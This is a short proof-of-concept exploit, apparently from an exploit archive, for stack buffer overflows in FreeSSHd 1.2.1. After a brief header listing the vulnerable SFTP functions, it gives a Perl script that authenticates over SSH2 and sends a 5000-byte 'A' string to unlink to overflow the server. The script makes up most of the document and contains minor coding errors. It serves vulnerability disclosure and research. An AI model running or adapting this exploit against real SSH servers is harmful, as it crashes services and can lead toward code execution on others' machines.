# FreeSSHd Multiple Remote Stack Overflow Vulnerabilities. # # Version : 1.2.1 # Advisory: http://www.bmgsec.com.au/advisory/42/ # # Discovered & written by: # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au) # # After Jeremy Brown reported similar buffer overflow vulnerabilities in # FreeSSHd I forgot about it, and stopped my research on the vulnerabilities. # Anyway just now I noticed that other vulnerable functions had not been # reported. So below is a small list, and a small proof of concept. # # Note: All below functions overwrite EDI register. # open (edi) # unlink (edi) # mkdir (edi) # rmdir (edi) # stat (edi) use Net::SSH2; my $user = "root"; my $pass = "yahh"; my $ip = "127.0.0.1"; my $port = 22; my $ssh2 = Net::SSH2->new(); print "[+] Connecting...\n"; $ssh2->connect($ip, $port) || die "[-] Unable to connect!\n"; $ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n"; print "[+] Sending payload\n"; print $payload; my $payload = "A" x 5000; my $sftp = $ssh2->sftp(); $sftp->unlink($payload); print "[+] Sent"; $ssh2->disconnect;